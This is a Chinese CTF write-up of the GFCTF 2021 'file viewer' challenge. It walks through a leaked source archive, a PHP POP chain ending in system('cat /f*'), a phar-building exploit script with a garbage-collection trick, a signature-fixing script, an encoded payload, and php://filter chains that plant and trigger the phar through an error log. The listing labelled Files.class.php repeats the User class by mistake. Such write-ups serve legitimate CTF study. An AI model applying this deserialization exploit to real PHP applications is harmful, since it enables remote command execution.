2025-8-20-每日一题
[GFCTF 2021]文件查看器
弱密码爆破admin/admin进入
这如题目所说是个文件查看器
点击查看代码
<?php
function __autoload($className) {
include("class/".$className.".class.php");
}
if(!isset($_GET['c'])){
header("location:./?c=User&m=login");
}else{
$c=$_GET['c'];
$class=new $c();
if(isset($_GET['m'])){
$m=$_GET['m'];
$class->$m();
}
}
然后发现有www.zip泄露
有这些文件
先看Files.class.php
点击查看代码
<?php
error_reporting(0);
class User{
public $username;
public $password;
public function login(){
include("view/login.html");
if(isset($_POST['username'])&&isset($_POST['password'])){
$this->username=$_POST['username'];
$this->password=$_POST['password'];
if($this->check()){
header("location:./?c=Files&m=read");
}
}
}
public function check(){
if($this->username==="admin" && $this->password==="admin"){
return true;
}else{
echo "{$this->username}的密码不正确或不存在该用户";
return false;
}
}
public function __destruct(){
(@$this->password)();
}
public function __call($name,$arg){
($name)();
}
}
Myerror.class.php
点击查看代码
<?php
class Myerror{
public $message;
public function __construct(){
ini_set('error_log','/var/www/html/log/error.txt');
ini_set('log_errors',1);
}
public function __tostring(){
$test=$this->message->{$this->test};
return "test";
}
}
User.class.php
点击查看代码
<?php
error_reporting(0);
class User{
public $username;
public $password;
public function login(){
include("view/login.html");
if(isset($_POST['username'])&&isset($_POST['password'])){
$this->username=$_POST['username'];
$this->password=$_POST['password'];
if($this->check()){
header("location:./?c=Files&m=read");
}
}
}
public function check(){
if($this->username==="admin" && $this->password==="admin"){
return true;
}else{
echo "{$this->username}的密码不正确或不存在该用户";
return false;
}
}
public function __destruct(){
(@$this->password)();
}
public function __call($name,$arg){
($name)();
}
}
我们先来把三个代码整合下
点击查看代码
<?php
class User{
public $username;
public $password;
public function check(){
if($this->username==="admin" && $this->password==="admin"){
return true;
}else{
echo "{$this->username}的密码不正确或不存在该用户";
return false;
}
}
public function __destruct(){
(@$this->password)();
}
}
class Files{
public $filename;
public function __get($key){
($key)($this->arg);
}
}
class Myerror{
public $message;
public function __tostring(){
$test=$this->message->{$this->test};
return "test";
}
}
这篇文章写的很好
写了GC回收机制,利用数组对象占用指针(改数字)实现提前触发__destruct()方法绕过黑名单检测
然后是链子,
User类利用可调用对象数组 -> User.check() -> Myerror.__tostring() -> Files.__get()
exp生成phar
点击查看代码
<?php
class User{
public $username;
public $password;
}
class Files{
public $filename;
}
class Myerror{
public $message;
}
$a1=new User();
$a2=new User();
$b=new Myerror();
$c=new Files();
$a1->password=[$a2,"check"];
$a2->username=$b;
$b->message=$c;
$b->test='system';
$c->arg='cat /f*';
$A=array($a1,null);
$phar = new Phar("xinghe.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($A);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
根据上面我们要利用gc回收机制
把图示出的1改成0
之后由于我们修改phar,我们要恢复一下
利用脚本重新生成
点击查看代码
from hashlib import sha1
f = open('xinghe.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('xinghe1.phar', 'wb').write(newf) # 写入新文件
然后我们利用伪协议读取
直接上传或使用Phar文件可能会因为包含特殊字符(如空字节)被拦截或处理错误。需要对此Phar文件进行一系列编码转换:
1.Base64编码: base64_encode($phar_content)
2.UCS-2转换: iconv('utf-8', 'UCS-2', $base64_encoded_content) (每个字符后会产生空字节\0)
3.Quoted-printable编码: quoted_printable_encode($ucs2_content) (处理空字节等非ASCII字符,将其转换为=00等形式)
目的是使Payload能够安全通过传输或存储,并在最终被解码回原始形式。
点击查看代码
<?php
$a=file_get_contents('xinghe1.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('1.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('1.txt',preg_replace('/=\r\n/','',file_get_contents('2.txt')).'=00=3D');//解决软换行导致的编码结构破坏
生成后代码
点击查看代码
=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=00v=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=005=00A=00A=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00O=00O=003=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00O=00O=003=001=00p=00O=00j=00E=007=00c=00z=00o=001=00O=00i=00J=00j=00a=00G=00V=00j=00a=00y=00I=007=00f=00X=001=00p=00O=00j=00A=007=00T=00j=00t=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00C=00S=00T=00p=00m=00g=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00J=00v=000=00D=00c=004=00P=00m=008=002=00z=00K=00Z=00c=00L=00S=00N=00m=00y=00m=00i=006=00W=004=00G=00S=00W=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00=3D
之后我们提交下
一步步解码就行
点击查看代码
php://filter/read=convert.quoted-printable-decode/resource=log/error.txt
要点重写文件
点击查看代码
php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt
要点重写文件
点击查看代码
php://filter/read=convert.base64-decode/resource=log/error.txt
要点重写文件
点击查看代码
phar://log/error.txt
拿到flag